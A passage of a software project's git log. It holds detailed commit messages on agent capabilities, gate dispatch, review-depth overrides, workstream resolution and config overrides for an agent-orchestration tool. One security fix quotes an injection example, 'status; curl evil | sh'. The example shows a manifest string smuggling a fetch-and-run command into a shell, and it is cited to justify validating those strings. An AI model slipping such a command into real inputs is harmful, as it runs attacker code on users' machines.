Implements the shape approved at triage, not the one reported. The
executor's tools: line is NOT widened, in any configuration: for a
first-party agent the static list is the only control that exists
(ADR-1244 D2, ADR-857 D4, no per-dispatch override). Instead one
default-off capability owns the key, the agent, and the step:

- capabilities/live-dom-uat/ — activationKey workflow.live_dom_uat
  (boolean, default false), one additive step at execute:wave:post
  (onError: skip, gates: []), so it can never halt a wave
- agents/gsd-dom-verifier.md — the only GSD agent carrying browser MCP
  globs, in its own tools: line, with no Bash
- verify-work automated_ui_verification — a gsd:live-dom-families block
  naming both new families AND the key; presence alone never activates

Two independent fail-closed gates: isCapabilityActive renders a hook
only on state.active === true, plus the step's own `when`.

The pre-existing mcp__playwright__* branch keeps the gating it already
had and stays outside the new block. Pulling it behind a default-off key
would have silently removed working automated UI verification from every
current Playwright-MCP user on upgrade.

Also closes a host gap this surfaced: execute:wave:post dispatched only
contribution + gate, so ANY registered step was declared and silently
never run — exactly the single-kind hand-roll loop-hook-dispatch.md
names. Step 5.75 now dispatches every kind == "step".

The browser-profile lock is tolerated, not coordinated: --isolated is a
flag on the operator's own MCP-server registration that GSD neither
launches nor parameterizes, so the verifier reports could_not_look /
profile_locked, names the flag, and stops. DOM-VERIFY.md keeps
could_not_look and nothing_to_report distinct behind a closed reason
enum — collapsing them is the ambiguous-run-notes defect reported.

Verified on the remote runner.

Closes #2856

* fix(#2856): apply review findings from the orthogonal passes

Correctness pass (blocker):
- delete detectionBlockIsCrlfSafe. It was pass-always: it read the file,
  replaced LF with CRLF, then indexOf'd marker strings that contain no
  newline, so the replacement could not change the result and the
  assertion could never fail for the reason it stated. There is no real
  CRLF risk on this surface either — the gsd:live-dom-families block has
  no parser, only human and agent readers. Deleted rather than replaced,
  per the repo's pass-always-test rule.

Isolated security pass (two minors, both real):
- execute-phase.md step 5.75: this change is what first activates

* fix(#2856): settle the new-agent roster ripple

Checkpoint 2 returned 28 failures, none in the new suite — all of them
the guards that exist to make adding an agent a deliberate act. Each is
a real boundary that had to move:

- docs/AGENTS.md: Tools row must copy the frontmatter verbatim (#2526),
  so the browser globs lose their backticks; primary-agent counts 21->22,
  roster 33/34->34/35, Verifiers category 1->2
- docs/INVENTORY.md: roster completeness requires every agents/gsd-*.md
  to be classified exactly once
- gsd-dom-verifier: add the anti-heredoc instruction and the commented
  hooks: frontmatter pattern both agent gates require
- gsd-core/bin/shared/model-catalog.json: every shipped agent needs a
  profile entry (#3229)
- copilot-install / kilo-upgrades / qwen-upgrades: expected agent list
  and the 34->35 roster boundary
- execute-wave-post-gate-pipeline-e2e: execute:wave:post legitimately
  carries one step now. Asserted as an exact shape — one step, capId
  live-dom-uat, ref.agent gsd-dom-verifier, onError skip — so it stays a
  real guard against accidental change rather than being relaxed

Two findings worth naming:

mcp-tool-inheritance (#2526) rejected the agent for documenting
mcp__playwright__* while its tools: line withholds it — a dead
instruction that invites the agent to claim a path it cannot take. The
prose now names the Playwright MCP family without the dispatchable
token, in both the agent and the capability fragment.

runtime-launcher-parity rejected the new gsd_run call: each fenced block
is its own shell, so a workflow step file invoking gsd_run needs its own
canonical preamble. Propagated with scripts/sync-runtime-launcher.cjs.
That script also normalizes explore.md, which is unrelated pre-existing
drift the parity check tolerates, so it is reverted to keep this diff
scoped.

The emitted-drift ack supersedes the spent #3370 entry for
execute-phase.md — it is merged into next, so its ripple is absorbed at
the base and it can no longer clear anything. That is the same supersede
the #3370 entry itself performed on the spent #3324 fragment. Its
unrelated execute-plan.md entry is untouched.

Verified on the remote runner.

* fix(#2856): drop the stale emitted-drift ack entry

The automated-ui-verification.md entry was written speculatively rather
than from a reported growth, and the check names that precisely: an ack
"written or reworded in THIS diff, but nothing here needed it, so it
explains nothing".

The growth tier keys on the bare filename as it appears under
gsd-core/workflows/ or agents/. automated-ui-verification.md is nested
under verify-work/steps/, so it was never in the tracked set — only
execute-phase.md was ever reported, both before and after the launcher
preamble landed.

Only ack what the check actually reports.

77fa08f1e8 fix(#2773): feed the spec-phase edge probe English-translated requirement text (#3713)
* test(#2773): failing-first contract and premise tests for translated edge-probe input

Locks the Step 5.5 contract that a response_language project must feed the
edge probe an English translation of each requirement's text, and binds that
advice to measured engine behavior: the same requirement classifies to zero
shapes in Portuguese and to collection/adjacency/empty/ordering in English.

Also pins the honest limit — the issue's own repro sentence classifies to []
in English too, so translation is necessary but not sufficient and the
authored shapes override is the documented fallback.

Red before the doc change; the assertions are all false today.

Refs #2773

* fix(#2773): feed the spec-phase edge probe English-translated requirement text

The shape cues in src/edge-probe.cts are English word-boundary regexes, so a
project running with response_language set wrote its SPEC requirements into the
Step 5.5 $REQS_JSON heredoc in that language, matched no cue, classified to zero
shapes, and landed every row in the unclassified sentinel (#1110). The taxonomy
contributed nothing and --auto left it all unresolved — the probe was a silent
no-op for exactly the spec type it exists to harden.

Step 5.5 now states that the $REQS_JSON payload is engine input rather than
user-facing output, so the response_language rule does not govern it: each
requirement's text carries a faithful English translation, the SPEC keeps its
original language, and requirement ids are never translated or renumbered. The
instruction sits before the heredoc on purpose — the downstream APPLICABLE=0
warning fires only when every requirement is unclassified, so a partly-classified
non-English spec would otherwise slip through with no signal at all.

Measured against the compiled engine: the same requirement returns [] in
Portuguese and collection -> adjacency/empty/ordering in English. Also measured:
the issue's own repro sentence returns [] in English too, so translation is
necessary but not sufficient — the instruction therefore points at the authored
shapes override for prose carrying no cue in any language rather than promising
that translation restores classification.

Doc scope only, per the triage disposition on the issue. The compiled engine is
untouched; the lang-hint / per-language cue-set fix is a separate follow-up.

Closes #2773

* fix(#2773): clean up the edge-probe temp file on the placeholder-guard exit path

Surfaced by the isolated security review of this branch. Between the mktemp and
the unconditional cleanup, Step 5.5 has two sibling guards that disagreed about
their own invariant: the engine-failure guard runs rm -f "$REQS_JSON" before
exiting, while the empty/placeholder guard directly above it exited without one.
A spec run that tripped the placeholder check therefore stranded a temp file
holding the SPEC's requirement text in TMPDIR, once per failed run.

The added contract test walks the region between the mktemp and the
unconditional cleanup and asserts no exit path leaves the file behind, so the
two guards can no longer drift apart. Proven to bind: run against the pre-fix
file the walker reports the leaking exit; against the fixed file it reports none.

Refs #2773

* docs(#2773): record the edge probe's English-cue input constraint in the predicate store

The co-change gate flagged CONTEXT.md (13 co-changes with spec-phase.md) and
docs/CONFIGURATION.md (11) as candidate-missing-updates, and both were real
gaps rather than incidental coupling.

CONTEXT.md's EdgeCompletenessProbeModule entry documents the input contract for
classifyShape but did not record that SHAPE_CUES are English word-boundary
patterns — so the predicate store implied text was language-agnostic, which is
what a future agent reads before touching this seam.

docs/CONFIGURATION.md's response_language row is what a non-English project
reads when it turns the setting on; it now names the one deliberate exception
and links to the FEATURES.md explanation, so the interaction is discoverable
from the config key rather than only from the workflow.

CONTEXT-INDEX.json regenerated via gen-context-index.cjs --write. The drift-ack
fragment is updated for the final byte range and now also records the
placeholder-guard cleanup fix folded into the same block.

Refs #2773

* fix(#2773): append the growth rationale to the existing spec-phase.md ack entry

The remote runner caught this: emitted-attribution.test.cjs pins the
0000-legacy-migration.json spec-phase.md entry permanently (the #2914 migration
regression test asserts the exact '31987 -> 31997' delta text survives), so
removing it to avoid a duplicate-key collision with a new fragment broke that
test instead of satisfying the ratchet.

The entry is an accreting log, not a single-use slot — #2733, #3132 and #3102
were each appended to the same reason string by later PRs, which is how a shared
growth key coexists with the rule that two ack sources may never name the same
path. This appends the #2773 rationale the same way and drops the separate
fragment, whose spec-phase.md key was the collision.

Verified locally by reproducing both affected tests against the real fragment
before re-dispatching: the pinned delta survives, grown[0].acked is true,
staleAcks is empty, and all 35 entries still read as spent.

Refs #2773

* docs(#2773): add a how-to for probing edges in a non-English project

The phase gate's enablementSequence check caught a wrong call of mine. I had
recorded that no how-to was owed because the user takes zero extra steps — the
workflow translates the probe input itself. Written out, though, the sequence
from off to value is two steps and step 1 depends on response_language, a
setting owned by a different capability than the edge probe, which is exactly
the condition the how-to test names.

There is also real task content a reference table cannot carry: the three-way
split between a few unclassified rows (the classifier's recall gap), every row
unclassified (the probe could not read the spec at all), and the silent
partly-classified case where the APPLICABLE=0 warning never fires. That last
one is what a user would otherwise misread as a clean bill of health.

Shaped after the resolve-edge-coverage-findings / resolve-unreachable-guard
siblings and indexed from docs/README.md next to its closest relative.

2fca0e17e4 enhance(#2554): resolve code review depth from path-scoped override rules (#3695)
* test(#2554): failing-first suite for path-scoped code review depth overrides

Binds the not-yet-built code-review-depth module: segment-aware path-prefix
matching of a changed-file set against ordered {paths,depth} rules, resolution
order flag > strongest matching rule > global > standard, typed validation
errors, and the large-scope downgrade boundary. Also proves behaviorally that
workflow.code_review_depth_overrides is not yet a registered config key.

Refs #2554

* feat(#2554): resolve code review depth from path-scoped override rules

Adds workflow.code_review_depth_overrides — an ordered array of {paths, depth}
rules matched against a review's changed-file set by segment-aware path-prefix
comparison. Resolution order is --depth= flag, then the strongest matching rule,
then workflow.code_review_depth, then standard; a matching rule replaces the
global rather than being max'd with it, so quick and standard rules stay
meaningful. Glob metacharacters are a hard configuration error rather than sugar
for a prefix, and malformed rules halt the review instead of degrading to
standard. The resolver is pure and reports its own provenance, so the workflow
can print the resolved depth and the rule that matched. The pre-existing
>50-file deep-to-standard downgrade moves into the module and now names the rule
it overrode.

The key is registered centrally rather than as a capability config slice: the
federated slice channel admits only boolean/string/number/enum, so an array
slice would be dropped as malformed.

Closes #2554

* test(#2554): correct depth-provenance assertions and pin out-of-repo paths

Two corrections to the failing-first suite. The source assertion for a
non-matching rule with no global configured expected 'config'; with no global
set the depth comes from the default, and a companion assertion tolerated
either value, so both passed against an implementation that derived provenance
from whether any rules existed rather than from where the depth came from.

The out-of-repo absolute-path case used a home-directory path that matched
neither implementation, so it never exercised the defect it named. It now pins
the discriminating cases: an absolute path outside the repo root must not match
a repo-relative rule, and one under the root must.

* docs(#2554): document path-scoped code review depth overrides

Reference rows for workflow.code_review_depth_overrides in the configuration,
features and commands references plus the locale copies that carry those tables,
and in the planning-config reference. Explanation of why escalation is
whole-review rather than per-file and why v1 is prefix-only. New how-to for
scoping review depth by path, carrying the configuration-error reason table and
the distinction between nothing to report and could not look. CONTEXT.md
glossary entry and the INVENTORY row for the new CLI module.

ja-JP and ko-KR CONFIGURATION.md carry no code_review keys at all, and ko-KR and
pt-BR FEATURES.md carry no code-review config table, so those files are
deliberately untouched.

* fix(#2554): make the depth-misconfiguration halt executable and reject control chars

Three review findings, all in this change.

The misconfiguration halt was prose rather than shell: the error-printing fence
was followed by an unconditional extraction fence, so an ok:false result threw
and left the depth empty instead of stopping the review. Prose is not a guard —
the two fences are now one block with a real conditional, and anything that is
not the literal string true fails closed.

An interior control character in a rule path survived validation and reached the
provenance string and the summary box; rule paths now reject control characters
via a new PATH_CONTROL_CHAR reason, after the glob check so precedence is
unchanged. That in turn makes the field record safe to delimit, so the seven
node invocations that each re-parsed the same result to read one field collapse
to one.

Also corrects the glossary entry's illustrative paths, which the glossary-ref
check read as real repository references.

* fix(#2554): use the fast-check v4 string API and acknowledge workflow growth

Two failures from the remote matrix on d3111f45, both this branch's.

The property block built its segment arbitrary with fc.stringOf, removed in
fast-check v4. Because the arbitrary is constructed in the describe body, the
throw took out all four property tests rather than one — they had never
executed. Rewritten to fc.string({unit, ...}), the form this repo already uses
in emitted-attribution.test.cjs. Every other fast-check helper in the file was
audited against the installed module.

The emitted-attribution growth arm needed an acknowledgment for code-review.md,
which grew 5376 bytes. The pre-existing 3503 fragment keying the same file is
spent — its ripple was absorbed when #3503 merged, and the base file is exactly
the 34435-byte baseline this growth is measured against — so it cannot clear
anything, while the ack lint hard-fails on a duplicate key across two sources.
Removed it in favor of the new fragment, which is exactly how #3503 itself
replaced the spent 3191 fragment.

* feat(#2401): ground <automated> verify-command paths and inherit prior-phase commands

Adds a deterministic resolvability probe over each PLAN.md <automated> verify
command and surfaces the nearest prior phase's proven commands to the planner
at every context window.

- src/verify-command-grounding.cts: recognizer (not a shell interpreter) that
  grounds a leading cd <literal> chain and npm --prefix <literal>, and reports
  unresolvable rather than guessing. Never executes command text.
- gsd-tools check verify-command-paths <N>: per-phase probe, wired into
  plan-phase.md before the plan-check pass.
- init.plan-phase gains prior_verify_commands, ungated by context_window.
- gsd-plan-checker: new Verify Command Path Resolvability dimension that
  reports the failing target and never prescribes a replacement.

Also fixes first-match-wins prefix bucketing in scripts/lint-test-file-count.cjs
(readdir order is not stable across platforms, so a module whose name extends
another's with a hyphen bucketed differently on Linux than on macOS).

Closes #2401

* fix(#2401): ground the canonical --prefix form, quoted paths, and absolute cd resets

Independent review found three defects in the recognizer:

- npm --prefix DIR run SCRIPT never reached the script-existence check,
  because the pattern required npm and run to be adjacent. That is the
  form the docs tell planners to prefer, so script_missing never fired
  for it. The prefix flag and its value are now stripped before matching.
- --prefix captured with \S+, so a quoted path containing a space was
  truncated to a stray opening quote and reported as a missing directory
  - a false blocker, worse than the bug this feature fixes. The capture
  is now quote-aware.
- A chained cd whose later segment was absolute concatenated instead of
  resetting, producing a nonsense path and another false blocker. The
  fold now resets on an absolute segment.

Also replaces the bespoke phase-directory regex with the canonical
phase-id helpers. Real phase directories are NN-slug, not phase-N-slug,
so the prior-command harvest matched nothing outside its own fixtures
and the planner-inheritance half of this feature was dead code.

* refactor(#2401): source task blocks from the canonical sectionizer

The module carried its own copy of the <task>-block grammar - a fourth
hand-rolled mirror of the one markdown-sectionizer owns. verify.cts keeps
its copy only because it needs the type= attribute the canonical helper
discards; this module never reads that attribute, so it can share the
owner outright instead of adding a test around a copy.

extractAutomatedCommands now takes task bodies from extractTaggedBlocks
and the out-of-task remainder from stripTaggedBlocks. A task-grammar
parity test pins the attributed task-name set against the canonical
helper across six awkward task shapes.

* fix(#2401): extract agent-file overflow to references and repair the property arbitrary

The remote matrix run came back red with 19 failures, four root causes:

- agents/gsd-plan-checker.md and agents/gsd-planner.md both blew the
  49152 agent cap. Their bodies move to gsd-core/references/, leaving
  @-reference stubs, per the documented overflow pattern.
- The new checker dimension invoked gsd_run before the canonical
  preamble that defines it. The call is deleted outright: plan-phase.md
  already runs the probe and hands the result in as {VERIFY_PATHS}, so
  the dimension consumes that rather than re-running anything.
- fc.fullUnicodeString does not exist in fast-check 4.8.0. Replaced with
  fc.string({ unit: 'binary' }), which covers the same 0000-10FFFF range.
- Three runtime-loaded files grew; acknowledged in the existing ack
  fragments that already own those bare filenames, since two ack sources
  may never name the same path.

* fix(#2401): treat ~ as a home expansion only at the start of a path

Windows CI caught this on both shards; the Linux-only remote matrix
cannot see it. The dynamic-path refusal rejected ~ anywhere, and a
GitHub Windows runner's tmpdir is an 8.3 short name -
C:\Users\RUNNER~1\AppData\Local\Temp - so a valid absolute Windows
path came back unresolvable/dynamic_path.

This was a production bug, not a test artifact: any Windows user whose
project path carries an 8.3 short name, or any literal ~, silently lost
the probe entirely - every command degrading to unresolvable with no
explanation.

~ is a home expansion only at the start of a path; elsewhere it is an
ordinary literal. The check is now split: $, backtick, *, ? and newline
stay refused anywhere (substitution and globs, and the glob characters
are illegal in Windows path components regardless), while ~ is refused
only leading, tolerating one leading quote since the check runs before
quote stripping.

The prior tests only caught this on Windows because only Windows puts a
~ in tmpdir. Four new tests pin it on every platform via a fixture
directory literally named RUNNER~1.

9de4d67118 fix(#3579): a pointer-less session inherits the repo active-workstream marker (#3616)
* test(3579): failing-first coverage for repo-marker inheritance

A session that carries an identity but has never run 'workstream use' reads an
absent session pointer, resolves null, and composes the flat .planning tree even
when .planning/active-workstream names a live workstream. These tests fail on that
and pin the invariants the fix must not break: a session with its own pointer is
never repointed, and a session that merely lacked a pointer must never clear the
shared marker on another session's behalf.

* fix(3579): a pointer-less session inherits the repo active-workstream marker

RED proven at 157cae26: the three inheritance tests failed while every isolation and
negative control passed on base — the gap, and nothing else.

pickActiveWorkstreamAdapter returned exactly ONE adapter: the session-scoped one
whenever a session key existed, so the shared .planning/active-workstream marker was
never consulted. getWorkstreamSessionKey resolves a key from ~13 env vars or the
controlling TTY, so on any normal interactive terminal a key almost always exists —
which is why a session that had never run 'workstream use' read an absent pointer,
resolved null, and composed the FLAT planning tree even though the repo marker named a
live workstream. Reads misreported; writes corrupted the superseded flat STATE. Silent,
because the stale tree is well-formed.

This was a genuine design fork, not an oversight: references/workstream-flag.md
documented step 4 as a fallback 'when no session key exists', and the session isolation
that buys is deliberate (#2850). The issue's Agent Brief left the choice open and said
the reference doc should match whatever semantics ship. The maintainer ruled in chat for
inheritance.

Resolution now walks an ORDERED chain — session adapter first, shared second — and only
a null from the session adapter falls through to the marker. Strictly additive: it can
only turn a null into a name, never change a name that already resolves.

The dangerous part is clear() ownership. resolveFromChain treats chain[0] as owned: only
it is ever cleared, and only under selfHeal (getActiveWorkstream, never peek). An
INHERITED marker is read-only — a stale value there resolves null and the file is left
alone. Without that, one pointer-less session's read would delete the repo marker for
every other session, which is a worse bug than the one being fixed. Covered by a test
that asserts the marker still exists on disk after such a read.

peekActiveWorkstream inherits but still mutates nothing (#2850 — the statusline draws on
every render).

references/workstream-flag.md's Resolution Priority is rewritten to match, keeping the
session-isolation rationale and noting that inheritance does not weaken it: a session
that owns a pointer is never repointed.

Fixes #3579

* fix(3579): correct the guard diagnostics and lock the clear-semantics

Three review passes; every finding fixed inline.

MISSING ACCEPTANCE CRITERION (spec pass). The brief requires refusal diagnostics that
distinguish 'marker present but the session lookup missed it' from 'no workstream set at
all', and the two workstream-mode fail-safe guards were byte-for-byte untouched — still
emitting a generic 'no active workstream is set' even when a marker exists and merely
names a missing directory. Both guards (cmdPhaseComplete, cmdInitProgress) now branch on
a new read-only diagnoseUnresolvedActiveWorkstream, which reuses the SAME
resolvesToExistingWorkstream predicate resolveFromChain uses, so the diagnosis and the
resolution cannot disagree. Two typed reasons added to ERROR_REASON; both arms still
refuse — the fail-closed behavior is unchanged, only the message is now true.

REAL TEST FAILURE, not a flake. The remote run failed 'clearing one session does not
clear another session pointer'. That describe uses before() rather than beforeEach, so
one tmpDir is shared and an earlier test writes active-workstream=beta into it; under
inheritance the just-cleared session picks that marker up and resolves beta instead of
null. The failure is a CORRECT consequence of Option A surfaced through an
order-dependent fixture. The test now establishes its own marker state explicitly — its
real intent (clearing A must not disturb B's pointer) is preserved and not weakened — and
a new test pins the semantic deliberately: clearing a session pointer returns that
session to INHERITING the marker, it does not force flat mode. Documented in
references/workstream-flag.md, including how to actually get flat behavior.

Also from review: partial activeWorkstreamAdapters injection no longer silently
synthesizes a REAL filesystem adapter for the missing half (a latent test-isolation
trap); the duplicated validate-then-existsSync logic is factored into one predicate; and
the two try/finally test bodies are converted to t.after per CONTRIBUTING.

New coverage: whitespace/empty shared marker; a session whose OWN pointer is stale while
the marker names a different valid workstream (must self-heal to null, never inherit —
the isolation guarantee at its sharpest); and both new diagnostic arms asserted on
structured --json-errors output rather than prose.

* fix(3579): read resolvability with the non-mutating peek, not the self-healing resolver

Three of our own new tests failed on 7f5e706a. All three had ONE root cause, and none
was fixed by relaxing an assertion.

gsd-tools.cjs's bootstrap called the MUTATING getActiveWorkstream unconditionally on
every invocation, purely to populate routing env. On an unresolvable pointer that
self-healed — cleared it — BEFORE the dispatched command ran its own resolution. A second
read in the same process then observed already-cleared state:

- Isolation violation: a session whose own pointer was stale had it cleared by the
  bootstrap, so cmdWorkstreamGet's own resolution found a pointer-LESS session and
  inherited the shared marker ('beta' instead of null). Exactly the guarantee #2850 exists
  to protect, defeated across two calls rather than within one.
- Guard diagnostics: the guards' own truthiness check also used the mutating resolver, so
  it cleared the invalid marker and the immediately-following read-only diagnosis found
  nothing and reported none_active instead of marker_unresolved.

So a single invocation's answer depended on how many times it resolved. The bootstrap
self-heal is PRE-EXISTING and was harmless while pointer-less meant flat — inheritance is
what made it answer-changing, so this fix belongs here.

Every call site that only CHECKS resolvability — the bootstrap, both fail-safe guards'
truthiness check, and two informational init report fields — now uses the non-mutating
peekActiveWorkstream. Self-heal is unchanged in active-workstream-store and still fires
exactly once, at whichever site actually consumes the workstream.

Verified by driving the real CLI against temp fixtures, since the suite cannot run
locally: stale-own-pointer resolves null with the marker intact; both guard arms report
marker_unresolved with missing_workstream_dir / invalid_name and the marker survives;
no-marker still reports none_active; identity-less self-heal still deletes an invalid
marker byte-identically to pre-#3579; and a session with a valid own pointer still wins.

* chore(3579): backfill changeset PR number (#3616)

* test(3579): kill the surviving mutants in the new resolution code

CI's Stryker gate failed: active-workstream-store scored 79.45% against a break
threshold of 80 — 259 killed, 67 survived, at 'Ran 1.00 tests per mutant on average'.
The survivors cluster in the code this PR added (pickActiveWorkstreamAdapterChain,
resolvesToExistingWorkstream, resolveFromChain, diagnoseUnresolvedActiveWorkstream):
the CLI-level tests exercise those paths but do not DISCRIMINATE their branches, which
is precisely what a surviving mutant means.

Raised by strengthening assertions, never by touching the threshold. 21 unit tests added
to the existing unit suite, each written to fail under a specific named mutant, using the
module's injected adapter seams and createMemoryPointerAdapter so they stay hermetic
under Stryker's per-mutant reruns:

- chain shape with and without a session key, asserting length AND element identity
  (kills the if(false), the ': []' array mutant, and the block removal)
- partial adapter injection, asserting the missing half is an inert memory adapter that
  never touches the filesystem (kills the three '??' -> '&&' mutants)
- both arms of '!name || !validateWorkstreamName(name)' as SEPARATE tests — an absent
  name and a non-empty invalid one — which is what kills the '||' -> '&&' mutant
- self-heal discrimination: getActiveWorkstream must clear an unresolvable owned pointer
  and peekActiveWorkstream must not, asserted on adapter state after each
  (kills if(selfHeal) -> if(true))
- fallback arm both ways: a fallback that resolves and one that does not
- diagnoseUnresolvedActiveWorkstream asserted as a full object per case, with the reason
  strings compared exactly (kills present:true -> false and both StringLiteral mutants)

One mutant is deliberately left: 'if (chain.length === 0)' -> 'if (false)'. The branch is
structurally unreachable — the only chain source always returns a 1- or 2-element array
literal — and resolveFromChain is not exported. Killing it would mean exporting an
internal or deleting a defensive guard; neither is worth doing for a mutant, and the
score clears 80 without it. Recorded here rather than left unexplained.

Every new assertion was evaluated against the built module with real fixtures before

fba3b9c24f fix(#3559): dispatch every ship:pre capability gate, not two hardcoded capIds (#3608)
* test(3559): failing-first coverage for generic ship:pre gate dispatch

ship.md's preflight resolves every active ship:pre gate then enforces exactly two
hardcoded capability IDs, so a third-party capability's blocking gate is resolved,
evaluable, and silently dropped. These tests fail on that dispatch dead-end and
pin the generic evaluator contract the fix will drive.

* fix(3559): dispatch every ship:pre gate generically, not two hardcoded capIds

ship.md's preflight resolved every active ship:pre gate via render-hooks and then
enforced exactly two capability IDs — security and broken-windows. Every other
capId, including any third-party capability's blocking gate, was resolved,
evaluable, and silently dropped: a phase shipped past its own declared failing
gate with nothing evaluated and nothing warned.

Preflight now iterates every active kind=="gate" entry in array order, dispatching
by check shape through the generic evaluator (gsd_run check predicate, ADR-2008)
and honoring each gate's own blocking and onError — the contract execute:wave:post,
execute:post and plan:post already implement and references/loop-hook-dispatch.md
already specifies. docs/how-to/command-exit-zero-gate.md already documented ship:pre
as auto-dispatching, so this restores documented behavior rather than changing it.

security and broken-windows are retained verbatim as named specializations INSIDE
the loop, so their bespoke fail-closed reads are unchanged and every gate is visited
exactly once — no double-enforcement is representable.

Also corrects two CONTEXT.md predicates that described the hardcoded shape, and the
test file's header note claiming ship:pre has no runnable evaluator (stale since #2008).

Fixes #3559

* fix(3559): validate third-party gate checks in-context before any shell use

Adversarial + security review of the generic dispatch arm this PR introduces.

SECURITY (introduced by this PR): the new every-other-capId arm is the first path
on which a THIRD-PARTY capability manifest string reaches a shell at ship:pre —
before it, dispatch never left the two first-party arms. gates[].check is not one
of the four executable surfaces the install consent prompt discloses (hooks,
command modules, mcpServers, reviewer lanes), so a capability can be consented to
as declarative-only and still reach a shell here. An unvalidated check.query of
'status; curl evil | sh' would be interpolated straight into a command
substitution. The arm now carries the same in-context validation contract
loop-hook-dispatch.md already mandates for ref.command, and the predicate arm is
specified as a single argv element so an apostrophe cannot close the literal.

TESTS: the first-cut regression tests only asserted that the shared loop phrase and
the evaluator substrings co-occurred. A partial regression that kept the phrase but
deleted the default arm would have passed them. Added a structural assertion that a
distinguishable catch-all arm exists, comes after every named branch, and is where
the generic evaluator is actually invoked.

REFERENCE DRIFT: loop-hook-dispatch.md documented onError as skip/'fail', but the
generated registry, all 35 manifest declarations, and all four dispatch sites use
skip/halt — 'fail' appears nowhere. Corrected, since this PR newly cites that doc
as ship.md's authority.

Also notes the named-query arg convention's provenance (mirrors verify:pre verbatim;
no capability declares a ship:pre query gate today).

* fix(3559): close the same gate-check injection at all four sibling dispatch sites

Maintainer directed fixing the sibling sites inline rather than filing them.

The command-injection surface fixed at ship:pre is a FAMILY property, not a site
property: every workflow that interpolates a manifest-supplied check.query into a
shell command substitution has it. Root cause is in the contract, not the sites —
references/loop-hook-dispatch.md mandates in-context validation for step ->
ref.command and OMITS the same requirement for gate, so all four gate consumers
inherited an unstated rule.

Closed at the source (the reference's gate section now carries the rule) and at
every consumer:
  execute-phase.md  execute:wave:post, execute:post
  plan-phase.md     plan:post
  verify-work.md    verify:pre
  ship.md           ship:pre  (already hardened in a2d84a77)

TESTS: section 6 enumerates the family by DISCOVERY, not by a hardcoded list, so a
new dispatch site added later without the validation contract fails instead of
shipping — the same 'hardcoded list silently misses members' mistake #3559 itself
was. It asserts, per discovered site, that the charset is pinned, that validation is
specified as in-context, and that the rule appears BEFORE the interpolation it
guards (an executing agent reads top-down). A floor assertion fails the section if
the discovery regex ever stops matching, so it cannot pass vacuously. Two further
tests pin the reference's gate section and the halt/skip onError vocabulary.

Sizes all within tier caps: execute-phase 94378/98304, plan-phase 91008/98304,
verify-work 39488/61440, ship 38067/40960. Drift acks amended for each.

* fix(3559): fit the validation mandate under the frozen pre-phase-6 ceiling

The previous commit blew tests/claude-orchestration.test.cjs's frozen ADR-857
pre-phase-6 ceiling for execute-phase.md (93600): the file had only 209 bytes of
headroom and the inline validation paragraph added 987. That ceiling is a ratchet
proving Phase 6 extraction happened — raising it is never the answer.

Restructured so the RULE lives once, in the reference's gate section (charset,
in-context, single-argv, and the consent-surface rationale), and each of the five
dispatch sites carries a terse mandate plus a pointer to it. That is strictly better
than five verbatim restatements: this PR exists partly because the reference and its
implementations had already drifted apart on the onError vocabulary, and five copies
of a security rule is that same failure waiting to recur. execute-phase.md already
eagerly inlines the reference (@-form at its step-hook dispatch), so an executing
agent has the full rule in context regardless.

Also reclaimed genuinely duplicated bytes at the execute:post site, whose prose
restated both commands the fenced block immediately below already shows, and whose
tail restated the two-step contract that the execute:wave:post site spells out in
full.

Net sizes vs origin/next:
  execute-phase.md  93365  (-26, SHRINKS)  pre-phase-6 93600, margin 235 (was 209)
  plan-phase.md     90627  (+111)          tier cap 98304
  verify-work.md    39107  (+111)          tier cap 61440
  ship.md           36784  (+3058)         tier cap 40960

Because execute-phase.md now shrinks, its drift-ack entry was reverted — an ack that
is never consumed is reported as STALE and fails the check. The other three acks
carry corrected byte figures.

Tests follow the same split: section 6 asserts the mandate + pointer per discovered
site and the full rule in the reference; section 5's security test drops the inline
charset assertion it can no longer make of ship.md.

* fix(3559): repair an over-escaped regex in the security assertion

/loop-hook-dispatch\\.md/ matched a literal backslash before .md, so it could never
match and the [security] assertion failed on the remote runner even though the prose
it checks was correct. The over-escaping came from nesting a regex through a shell
string into a node -e script; the sibling literal in section 6, written via a quoted
heredoc, was unaffected.

The reason this reached the runner at all is that the local check re-typed the regex
by hand instead of executing the one in the file, so it validated a different pattern
than the test used. Replaced that habit with two harnesses that read the literals FROM
the source: one asserts every regex literal in the file matches something in the real
workflow/reference corpus (catching over-escaping generically), the other evaluates
the [security] and section-6 literals against their actual targets.

debeabd524 enhance(#3587): add a per-phase commit_docs override (#3601)
* feat(#3587): add a per-phase commit_docs override

Delivers epic #2292's second user story: commit an architecture phase's
artifacts while execution phases stay local. commit_docs was project-wide and
binary, so the only choices were all phases or none.

Shape is a config dynamic key phase_commit_docs.<phase-id>, following the 14
existing dynamicKeyPatterns precedents rather than inventing a PLAN.md
frontmatter spec -- which #2292 itself flags as becoming its own maintenance
surface.

Tier 1 resolves in cmdCommit, NOT in loadConfig: loadConfig has no phase
context and is called by nearly every command, so threading one through it to
serve a single caller would be a far larger blast radius for no gain. The phase
comes from detectPhaseNumberFromFiles, which cmdCommit already computes for
branch naming and which is already hardened against the #2539 project-code bug.

Suppression by the per-phase tier returns its own reason rather than reusing
skipped_commit_docs_false -- telling a user their project setting is false when
it is true would be actively misleading. Additive; the two existing reason
strings that agents/gsd-executor.md matches on are unchanged.

The manifest's phase-id pattern is a hand-copy of PHASE_NUMBER_TOKEN_SOURCE
because the manifest is hand-maintained JSON, so a behavioral parity test
asserts both surfaces accept and reject the same token shapes.

* fix(#3587): fold tests, close review findings, update reference docs

Fold: the new tests were added as their own file, which required loosening a
grandfathered lint-test-file-count bucket 5-to-6. A ratchet exists to go down
only. commit-docs-bypass.test.cjs is the established commit_docs test home and
already hosts two folded suites, so the tests fold there as a third block and
the allowlist is reverted untouched.

Standards review: CONTEXT.md and the test header both cited a
phase-commit-docs-manifest-parity.test.cjs that never existed; a repo-wide
sweep found a fourth stale cite in the schema manifest description. All four
now name the real location.

Spec review: the issue's Scope of changes named planning-config.md and
git-planning-commit.md and neither was touched. Both now document the four-tier
precedence and the new skip reason.

Security review, minor and unproven: detectPhaseNumberFromFiles returns the
FIRST matching path's phase, so a --files list spanning two phases resolves the
override against whichever comes first. That helper is hardened and widely used,
so it is not changed; the behavior is pinned by a named test and disclosed in
the design and user docs. A pinned behavior is not a bug; an unpinned surprise
is.

ec7e49a64c fix(#3576): repair all 43 dead references/ cites and gate the canonical resolvable form (#3596)
* test(#3576): gate shipped reference citations on the canonical resolvable form

Failing-first gate for #3576: a backticked bare references/<name>.md cite
resolves from no install location (agents, workflows, and references all
